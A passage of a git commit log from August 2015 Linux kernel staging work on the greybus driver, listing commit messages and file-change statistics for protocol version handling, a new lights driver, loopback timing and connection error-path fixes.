types, so no need to have specific protocol macros for this. Just drop them. Signed-off-by: Rui Miguel Silva Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 2 -- 1 file changed, 2 deletions(-) commit 4be6ea54d46166dcd8f7673b87b578c611577c29 Author: Viresh Kumar Date: Sat Aug 15 08:54:18 2015 +0530 greybus: operation: Fix wrong order of arguments The order of arguments is wrong and that shows up as a warning only on 64 bit machines. Fixes: cb0ef0c019ab ("operation: print message type on errors") Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1ab2e8918de583f7f98289448af6d8784a4c4ced Author: Rui Miguel Silva Date: Sun Aug 16 00:48:03 2015 +0100 greybus: makefile: use POSIX functions for kernel cmp [[, == and echo -e are bash/zsh-ism and not POSIX, so when using a POSIX shell the kernel_cmp can issue some warnings and not work properly. Use only POSIX operators for kernel version compare. Signed-off-by: Rui Miguel Silva Tested-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2870b52bae4c81823ffcb3ed2b0626fb39d64f48 Author: Rui Miguel Silva Date: Fri Aug 14 13:58:19 2015 +0100 greybus: lights: add lights implementation This patch adds lights implementation for Greybus Lights class, it allows multiplexing of lights devices using the same connection. Also adds two sysfs entries to led class (color, fade) which are commonly used in several existing LED devices. It support 2 major class of devices (normal LED and flash type), for the first it registers to led_classdev, for the latest it registers in the led_classdev_flash and v4l2_flash, depending on the support of the kernel version. Each Module can have N light devices attach and each light can have multiple channel associated: glights |->light0 | |->channel0 | |->channel1 | | .... | |->channeln |->... |->lightn |->channel0 |->channel1 | .... |->channeln Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 + drivers/staging/greybus/greybus_protocols.h | 176 ++++ drivers/staging/greybus/kernel_ver.h | 41 + drivers/staging/greybus/light.c | 1201 +++++++++++++++++++++++++++ 4 files changed, 1420 insertions(+) commit 13fcfbb6c5bbd7aee7e9980313dc29469357c5cd Author: Rui Miguel Silva Date: Fri Aug 14 13:58:18 2015 +0100 greybus: makefile: add needed config options for lights Add a function to check kernel versions and append the necessary options to support LEDS_CLASS, LEDS_CLASS_FLASH and V4L2_FLASH_LED_CLASS depending of the kernel version. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) commit dc366f8e397c41ba582821e24abdc2bc4ae80a47 Author: Viresh Kumar Date: Fri Aug 14 17:07:11 2015 +0530 greybus: loopback: Print error on data mismatch Signed-off-by: Viresh Kumar Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit dc4a10693f3f0e6658b06dd1947643637c0476a4 Author: Viresh Kumar Date: Fri Aug 14 17:07:10 2015 +0530 greybus: loopback: Send some sensible data Signed-off-by: Viresh Kumar Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 2 ++ 1 file changed, 2 insertions(+) commit 21e3a3ed9b8257e8e885458eb7573385c7e4ce26 Author: Viresh Kumar Date: Fri Aug 14 08:12:30 2015 +0530 greybus: operation: print message type on errors This can be very useful debug information, print it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) commit 0e2462d1b71b15790d37f9f66b01cdf1003a8e72 Author: Viresh Kumar Date: Fri Aug 14 07:57:38 2015 +0530 greybus: Drop protocol specific _PROTOCOL_VERSION and _INVALID macros Greybus core supports protocol independent macros for this now, use them. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 2 +- drivers/staging/greybus/greybus_protocols.h | 24 ------------------------ drivers/staging/greybus/loopback.c | 2 +- drivers/staging/greybus/svc.c | 2 +- 4 files changed, 3 insertions(+), 27 deletions(-) commit 435ea76218c9f3257990c6da8b37bf7708598f49 Author: Viresh Kumar Date: Thu Aug 13 10:40:28 2015 +0530 greybus: connection: Don't free resources freed by gb_connection_release() We are already doing put_device() here and so don't need to free resources directly, except ida. Fixes: afde17fe0b61 ("greybus/connection: fix jump label on device_add failure") Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 22322c474551c208625d3b95ffba39b1882fa645 Author: Viresh Kumar Date: Thu Aug 13 10:35:29 2015 +0530 greybus: connection: Destroy wq on failure Need to destroy the wq created earlier, do it. Fixes: d0f1778a6b67 ("greybus/connection: add a timestamp kfifo to track connection handoff") Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit d65e3a22aa3ef28f068cdc38ac82f3e1914cde9a Author: Viresh Kumar Date: Thu Aug 13 10:04:45 2015 +0530 greybus: raw: Move request/response structure/definitions to greybus_protocols.h These must be exposed to external modules, like gbsim. Move them to greybus_protocols.h file. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 16 ++++++++++++++++ drivers/staging/greybus/raw.c | 12 ------------ 2 files changed, 16 insertions(+), 12 deletions(-) commit 51aee043ecdb890bbfd33e4cb3b73269ee8371e3 Author: Viresh Kumar Date: Wed Aug 12 11:51:11 2015 +0530 greybus: hid: Move request/response structure/definitions to greybus_protocols.h These must be exposed to external modules, like gbsim. Move them to greybus_protocols.h file. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 52 +++++++++++++++++++++++++++++ drivers/staging/greybus/hid.c | 49 --------------------------- 2 files changed, 52 insertions(+), 49 deletions(-) commit ce83294348fee40d4173f5e5b41c2999405149b4 Author: Viresh Kumar Date: Wed Aug 12 11:51:10 2015 +0530 greybus: battery: Move request/response structure/definitions to greybus_protocols.h These must be exposed to external modules, like gbsim. Move them to greybus_protocols.h file. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery.c | 55 --------------------------- drivers/staging/greybus/greybus_protocols.h | 58 +++++++++++++++++++++++++++++ 2 files changed, 58 insertions(+), 55 deletions(-) commit 1cb5fa47c54ba045593c4dfede72338107ba2133 Author: Viresh Kumar Date: Wed Aug 12 11:04:06 2015 +0530 greybus: protocol: send own protocol version while requesting it The greybus specifications clearly say (for all protocols) that the sender is responsible for sending the highest version of protocol it supports, while it requests the same from the receiver. But the greybus code never followed that. Fix, this by always sending AP's version of the protocol, while requesting the same from svc/module. This also renames 'response' to 'version' in gb_protocol_get_version() as it is used for both request/response. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 14 +------------- drivers/staging/greybus/protocol.c | 28 +++++++++++----------------- drivers/staging/greybus/protocol.h | 2 +- 3 files changed, 13 insertions(+), 31 deletions(-) commit d706ef8f1b2add4abbbeacbbaaf0c304b25f4476 Merge: 542f27a 58dab0f Author: Greg Kroah-Hartman Date: Tue Aug 11 22:14:06 2015 -0700 greybus: Merge branch 'master' into branch 'svc'. This drags in the firmware driver, and the start of some loopback changes. Signed-off-by: Greg Kroah-Hartman commit 58dab0f2a872be5dc2bdb15f3dc487b4a1b41aaf Author: Viresh Kumar Date: Wed Aug 12 09:19:34 2015 +0530 greybus: connection: Send protocol version for firmware protocol As per greybus specs, we need to send the protocol version for firmware protocol and so this special case Hack. Probably we should always send the protocol version AP supports and kill this hack completely. But then it requires updates to specs as well, and that should be done after some discussion. For now, add a FIXME for that and a special case for firmware protocol. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) commit 90f1b617d88f145506e9061436069583cb82d101 Author: Viresh Kumar Date: Wed Aug 12 09:19:33 2015 +0530 greybus: Add firmware protocol driver This adds firmware protocol driver based on the latest specs available on mailing lists. This uses the firmware framework present in kernel. Refer Documentation/firmware_class/README on how it works. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 1 + drivers/staging/greybus/core.c | 9 ++ drivers/staging/greybus/firmware.c | 199 ++++++++++++++++++++++++++++ drivers/staging/greybus/firmware.h | 16 +++ drivers/staging/greybus/greybus.h | 1 + drivers/staging/greybus/greybus_manifest.h | 2 + drivers/staging/greybus/greybus_protocols.h | 54 ++++++++ 7 files changed, 282 insertions(+) commit 738599c0dd7fef4d28f416ff9b0b3bc1b07468d2 Author: Viresh Kumar Date: Wed Aug 12 09:19:32 2015 +0530 greybus: protocol: Create request structure from within gb_protocol_get_version() The version request can only send the version of protocol for which it is initiated and gb_protocol_get_version() has all the information to create the request structure. Replace the 'request' and 'request_size' arguments to gb_protocol_get_version() with a bool to know if the version information of the protocol should be sent or not. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 +- drivers/staging/greybus/protocol.c | 12 ++++++++++-- drivers/staging/greybus/protocol.h | 3 +-- 3 files changed, 12 insertions(+), 5 deletions(-) commit 3944a454f1d5634cdcd8b8844199d67a1110dccb Author: Viresh Kumar Date: Wed Aug 12 09:19:31 2015 +0530 greybus: interface: Preserve data received during hotplug event This shall be used later to find a firmware blob for the interface, lets save it in the interface structure. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.h | 6 ++++++ drivers/staging/greybus/svc.c | 13 +++++-------- 2 files changed, 11 insertions(+), 8 deletions(-) commit fd489e1ac617d662e248557afd8aa06ee731440b Author: Bryan O'Donoghue Date: Tue Aug 11 13:50:54 2015 +0100 greybus: loopback: handle timestamp roll-over This patch ensures we account for roll-over in the loopback driver. do_gettimeofday() is used to grab a timestamp. Two timestamps are derived one before and one after a gb_operation_sync(), however since do_gettimeofday() returns the number of seconds and mircoseconds that have elapsed today - we need to account for a situation where the timestamp starts at say 23:59:999us rolls over and the end time is now earlier than the start time. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 4c192665f0183150cff38b6954687752f3461e13 Author: Bryan O'Donoghue Date: Tue Aug 11 13:50:53 2015 +0100 greybus: loopback: functionally decompose calculation of turn-around times We have a pattern similar to this over and over again gb->elapsed_nsecs = timeval_to_ns(&te) - timeval_to_ns(&ts); good software practice dictates we functionally decompose this. This patch decomposes into gb_loopback_calc_latency(). Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) commit 3f2a809e8b4c69f61de17c3efe144b9dba23924b Author: Bryan O'Donoghue Date: Tue Aug 11 13:50:52 2015 +0100 greybus: es-drivers: add outbound timestamp to connection In order to facilitate grabbing a timestamp that doesn't include greybus overhead, this patch adds a timestamp right before usb_submit_urb() for both es1.c and es2.c. Long term the timestmaping of messages like this probably wants to go away but, for the moment it may have some use to the firmware people instrumenting the performance of the system. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 2 ++ drivers/staging/greybus/es2.c | 2 ++ 2 files changed, 4 insertions(+) commit a1a4a29cb9e9593a1f47d549af212f35f131e6cc Author: Bryan O'Donoghue Date: Tue Aug 11 13:50:51 2015 +0100 greybus: connection: add a timestamp kfifo to track connection handoff For the ES2 test activity it may be beneficial to have a performance metric that doesn't include any of the greybus stack malloc, workqueues etc. In order to faciltate, this patch adds a simple kfifo structure to hold two timestamp values. One timestamp will represent the last reasonable point a greybus outbound timestamp can be taken, the other timestamp will represent the first reasonable point an inbound timestamp can be taken. In order to facilitate this model, tracking the timestamps in the connection structure appears to be the best place to keep store of this data. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 36 +++++++++++++++++++++++++++++++++++- drivers/staging/greybus/connection.h | 5 +++++ 2 files changed, 40 insertions(+), 1 deletion(-) commit 8ebc998f5fb146b7304fb7ac4e4d80059b6197fe Author: Bryan O'Donoghue Date: Tue Aug 11 13:50:50 2015 +0100 greybus: connection: fix jump label on device_add failure On device_add() failure in gb_connection_create_range() we jump to err_remove_ida. Instead we should be jumping to err_free_connection, so change the flow to accomodate. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 542f27a18f574d3807735bdcdbde8f8423c2f817 Merge: 067906f bf81454 Author: Greg Kroah-Hartman Date: Tue Aug 11 19:39:27 2015 -0700 greybus: Merge branch 'master' into branch 'svc'. This required some hand-tweaking in connection.c, hopefully I got it all correct... Signed-off-by: Greg Kroah-Hartman commit bf81454738990e7acd089e1b8aac8bab6a54637f Author: Viresh Kumar Date: Tue Aug 11 07:36:16 2015 +0530 greybus: protocol: Remove unnecessary params of gb_protocol_get_version() Some of the parameters are not really required, drop them. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 7 +------ drivers/staging/greybus/protocol.c | 22 +++++++++++----------- drivers/staging/greybus/protocol.h | 6 ++---- 3 files changed, 14 insertions(+), 21 deletions(-) commit b9938c49131f1d2c65e8783a5a17ff6a96d9ce89 Author: Viresh Kumar Date: Tue Aug 11 07:36:15 2015 +0530 greybus: protocol: Drop define_get_version support No more users now, drop it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/protocol.h | 23 ----------------------- 1 file changed, 23 deletions(-) commit 3ea959e3911e0c9ae49eb855d7b4f744349eb977 Author: Viresh Kumar Date: Tue Aug 11 07:36:14 2015 +0530 greybus: svc: preserve major/minor of protocol supported by SVC These weren't preserved earlier, save them in the connection structure instead of creating its own fields.. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit a404504a8651250b2632cf62356de6c77a923430 Author: Viresh Kumar Date: Tue Aug 11 07:36:13 2015 +0530 greybus: vibrator: Drop get_version support This is done from a common place now, no need to replicate it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/vibrator.c | 11 ----------- 1 file changed, 11 deletions(-) commit 0a12a187fdaa90108a681423a7f1e8ef135a1544 Author: Viresh Kumar Date: Tue Aug 11 07:36:12 2015 +0530 greybus: usb: Drop get_version support This is done from a common place now, no need to replicate it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/usb.c | 13 ------------- 1 file changed, 13 deletions(-) commit a94e14486477b5738061ac09ab69025985c1eda5 Author: Viresh Kumar Date: Tue Aug 11 07:36:11 2015 +0530 greybus: uart: Drop get_version support This is done from a common place now, no need to replicate it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 16 +++------------- 1 file changed, 3 insertions(+), 13 deletions(-) commit 3fb0c8f516e06cb3bc39610aeb1311b8376bdc61 Author: Viresh Kumar Date: Tue Aug 11 07:36:10 2015 +0530 greybus: spi: Drop get_version support This is done from a common place now, no need to replicate it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/spi.c | 10 ---------- 1 file changed, 10 deletions(-) commit 7071ca1df5e26949e6a24684f52d45ca18f07077 Author: Viresh Kumar Date: Tue Aug 11 07:36:09 2015 +0530 greybus: sdio: Drop get_version support This is done from a common place now, no need to replicate it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sdio.c | 9 --------- 1 file changed, 9 deletions(-) commit f06eda1b1744fcde6769eee22bceb7d9fee23bf5 Author: Viresh Kumar Date: Tue Aug 11 07:36:08 2015 +0530 greybus: raw: Drop get_version support This is done from a common place now, no need to replicate it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/raw.c | 12 ------------ 1 file changed, 12 deletions(-) commit 2e93d02c18ce39430a0cf0c591f067067bad2181 Author: Viresh Kumar Date: Tue Aug 11 07:36:07 2015 +0530 greybus: pwm: Drop get_version support This is done from a common place now, no need to replicate it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/pwm.c | 10 ---------- 1 file changed, 10 deletions(-) commit 47d3cfbbadfb761aaf3967df314f860f8a324f8d Author: Viresh Kumar Date: Tue Aug 11 07:36:06 2015 +0530 greybus: loopback: Drop get_version support This is done from a common place now, no need to replicate it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 10 ---------- 1 file changed, 10 deletions(-) commit d8886f4a06593fd1849a5076e08488c0ebaf74a3 Author: Viresh Kumar Date: Tue Aug 11 07:36:05 2015 +0530 greybus: i2c: Drop get_version support This is done from a common place now, no need to replicate it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/i2c.c | 10 ---------- 1 file changed, 10 deletions(-) commit 2dad338c9c28f464c9717e9d0391997b649e3acd Author: Viresh Kumar Date: Tue Aug 11 07:36:04 2015 +0530 greybus: hid: Drop get_version support This is done from a common place now, no need to replicate it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hid.c | 9 --------- 1 file changed, 9 deletions(-) commit 03490fdbe745a6af23527df32e6ceab4b5749a8f Author: Viresh Kumar Date: Tue Aug 11 07:36:03 2015 +0530 greybus: gpio: Drop get_version support This is done from a common place now, no need to replicate it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 10 ---------- 1 file changed, 10 deletions(-) commit 507d75c4f4502cae84b50dcb0c246d67913e9ab5 Author: Viresh Kumar Date: Tue Aug 11 07:36:02 2015 +0530 greybus: control: Drop get_version support This is done from a common place now, no need to replicate it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 10 +--------- drivers/staging/greybus/control.h | 2 -- 2 files changed, 1 insertion(+), 11 deletions(-) commit f8cbc30de009fdf11aff0c5d9d5dfb3f8ceb4990 Author: Viresh Kumar Date: Tue Aug 11 07:36:01 2015 +0530 greybus: battery: Drop get_version support This is done from a common place now, no need to replicate it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery.c | 12 ------------ 1 file changed, 12 deletions(-) commit 9937a60a06ea21acc6680615258109a417ed25a8 Author: Viresh Kumar Date: Tue Aug 11 07:36:00 2015 +0530 greybus: audio: Drop get_version support This is done from a common place now, no need to replicate it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio-gb-cmds.c | 28 ---------------------------- drivers/staging/greybus/audio.c | 14 ++------------ drivers/staging/greybus/audio.h | 2 -- 3 files changed, 2 insertions(+), 42 deletions(-) commit 7ba26a8ced4a391133aa899a61647154d8d4d24c Author: Viresh Kumar Date: Tue Aug 11 07:35:59 2015 +0530 greybus: connection: request protocol version before initializing connection This can (should) be done from a common place as its required for most of the protocols. Do it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 31 ++++++++++++++++++++++++------- 1 file changed, 24 insertions(+), 7 deletions(-) commit d653f4b19163aa9f3a8046bd6e895b8615856d11 Author: Viresh Kumar Date: Tue Aug 11 07:35:58 2015 +0530 greybus: connection: Save major/minor supported by module Save major/minor number supported by the module inside connection structure, as this can be used later. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.h | 2 ++ drivers/staging/greybus/protocol.c | 3 +++ 2 files changed, 5 insertions(+) commit 2b11a45d29f52c94fdea1d8f1c7baa25cb7368bb Author: Viresh Kumar Date: Tue Aug 11 07:35:57 2015 +0530 greybus: define greybus wide protocol request numbers Some request numbers (like invalid and get_version) are same across all protocols. Create common macros for them. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 4 ++++ 1 file changed, 4 insertions(+) commit 186906590280c907ee497ed5e48bb94926d7b960 Author: Viresh Kumar Date: Tue Aug 11 07:35:56 2015 +0530 greybus: connection: disconnect connection on failures during initialization Its possible for connection_init() to fail, in such cases the disconnected event must be sent to the module. It is missing currently, fix it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 44 ++++++++++++++++++++++-------------- 1 file changed, 27 insertions(+), 17 deletions(-) commit 0c32d2a5b2a6f284efd196d568e1df3db5999c5d Author: Viresh Kumar Date: Tue Aug 11 07:29:19 2015 +0530 greybus: svc: error out only for smaller payloads received != was used in place of <, while comparing expected and actual payload size. The module may be running a higher version of the protocol and might have some extra fields (towards the end) in the structure, and the AP needs to ignore them. This also updates the print (expected-payload-size < actual-payload-size), when the size doesn't match for requests received by the module. This gives more details required for debugging. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 10c7ae04e36f05a82dd23eb314092c77df2c2049 Author: Viresh Kumar Date: Tue Aug 11 07:29:18 2015 +0530 greybus: audio: Add '<' to the print message for short messages This increases readability a bit more, as it tells which value is actual size and which one is expected size. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 33f06a75eecaa34b43c83f57280c6ef1ffedd101 Author: Viresh Kumar Date: Fri Aug 7 18:06:43 2015 +0530 greybus: svc: Remove FIXME for firmware download Its handled by the firmware driver now, drop the FIXME comment from svc code. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 1 - 1 file changed, 1 deletion(-) commit f0a1698f18722fccb920448285b8fc87f793870a Author: Viresh Kumar Date: Sat Aug 8 10:25:41 2015 +0530 greybus: vibrator: Use (already defined) major/minor macros We already have macros for these, use them instead of writing fixed values. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/vibrator.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit f514b5c31435909960fe32e309d7417c52629cc1 Author: Viresh Kumar Date: Sat Aug 8 10:25:40 2015 +0530 greybus: usb: Use (already defined) major/minor macros We already have macros for these, use them instead of writing fixed values. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/usb.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 9475fb5c5ad1d61a37c2bd47fb94dcf55b59aaf2 Author: Viresh Kumar Date: Sat Aug 8 10:25:39 2015 +0530 greybus: uart: Use (already defined) major/minor macros We already have macros for these, use them instead of writing fixed values. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 7549219d4ea0a9d8b78c3819dff8dcdb9db14eb1 Author: Viresh Kumar Date: Sat Aug 8 10:25:38 2015 +0530 greybus: spi: Use (already defined) major/minor macros We already have macros for these, use them instead of writing fixed values. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/spi.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 3fb97e43ba4ab094a72d9b9fe165e476e756c4ed Author: Viresh Kumar Date: Sat Aug 8 10:25:37 2015 +0530 greybus: pwm: Use (already defined) major/minor macros We already have macros for these, use them instead of writing fixed values. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/pwm.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit bbd80cc166dc841f6bab7fe721da157c6371e84b Author: Viresh Kumar Date: Sat Aug 8 10:25:36 2015 +0530 greybus: i2c: Use (already defined) major/minor macros We already have macros for these, use them instead of writing fixed values. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/i2c.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 34ec36457f360fd2930fbf6e4cdfd6f7bc4d98c1 Author: Viresh Kumar Date: Sat Aug 8 10:25:35 2015 +0530 greybus: hid: Use (already defined) major/minor macros We already have macros for these, use them instead of writing fixed values. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hid.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 8590ed30be0d3164073d90d1bcf728dd776487c4 Author: Viresh Kumar Date: Sat Aug 8 10:25:34 2015 +0530 greybus: gpio: Use (already defined) major/minor macros We already have macros for these, use them instead of writing fixed values. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 8cbd20aa0de89eb344e05d51ae3bedfabeae360a Author: Viresh Kumar Date: Sat Aug 8 10:25:33 2015 +0530 greybus: battery: Use (already defined) major/minor macros We already have macros for these, use them instead of writing fixed values. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit d79ae495e2ddb2b6f39376c4eed080dbc1b074d5 Author: Viresh Kumar Date: Sat Aug 8 10:25:32 2015 +0530 greybus: hid: spell fix (s/infomation/information) Minor spell fix. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hid.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f1f6fa44ae49e91c0a5fe9e0c6e5614e6aa22283 Author: Viresh Kumar Date: Sat Aug 8 08:09:32 2015 +0530 greybus: sdio: error out only for smaller payloads received != was used in place of <, while comparing expected and actual payload size. The module may be running a higher version of the protocol and might have some extra fields (towards the end) in the structure, and the AP needs to ignore them. This also updates the print (expected-payload-size < actual-payload-size), when the size doesn't match for requests received by the module. This gives more details required for debugging. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sdio.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 067906f6906922ad784452218b09bfb2b9519643 Author: Viresh Kumar Date: Thu Aug 6 12:44:55 2015 +0530 greybus: svc: Handle hotplug request from a workqueue Bringing up a module can be time consuming, as that may require lots of initialization on the module side. Over that, we may also need to download the firmware first and flash that on the module. In order to make other hotplug events to not wait for all this to finish, handle most of module hotplug stuff outside of the hotplug callback, with help of a workqueue. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 77 ++++++++++++++++++++++++++++++++----------- 1 file changed, 57 insertions(+), 20 deletions(-) commit 6d05ad3c4226024ad78dfbd2ab683b760ab56389 Author: Viresh Kumar Date: Thu Aug 6 12:44:54 2015 +0530 greybus: svc: Print expected/actual payload size on mismatch Print (expected-payload-size actual-payload-size), when the size doesn't match for requests received by the module. This gives more details required for debugging the issue. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit 76ecf73ee4e3f15db202e4ea76816f155c478051 Merge: 03cb4fa 782c3b7 Author: Greg Kroah-Hartman Date: Mon Aug 10 17:29:12 2015 -0700 greybus: Merge branch 'master' into svc Signed-off-by: Greg Kroah-Hartman commit 782c3b732889b5fbce796a4b548d47a43e4d8c42 Author: Viresh Kumar Date: Thu Aug 6 12:44:51 2015 +0530 greybus: gpio: Print expected/actual payload size on mismatch Print (expected-payload-size actual-payload-size), when the size doesn't match for requests received by the module. This gives more details required for debugging the issue. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 7fea641c94d645bf30712cb6e6c498597c7e5634 Author: Viresh Kumar Date: Thu Aug 6 12:44:52 2015 +0530 greybus: raw: Print expected/actual payload size on mismatch Print (expected-payload-size actual-payload-size), when the size doesn't match for requests received by the module. This gives more details required for debugging the issue. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/raw.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 47a96858b526e14882438e455ec078fc7e51155b Author: Alex Elder Date: Tue Aug 4 13:44:10 2015 -0500 greybus: kernel_ver.h: define U32_MAX and U64_MAX These were not defined, and I just posted patches that use them. Signed-off-by: Alex Elder Tested-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/kernel_ver.h | 8 ++++++++ 1 file changed, 8 insertions(+) commit 1fb807cf6da0b65af4ba6ab100d38ebef17ff25e Author: Alex Elder Date: Mon Aug 3 12:57:20 2015 -0500 greybus: loopback: fix connection cleanup paths The error paths in gb_loopback_connection_init() are kind of screwed up--not in proper order, and the label naming convention seems a little inconsistent. Fix this, ensuring each error cleans up the setup 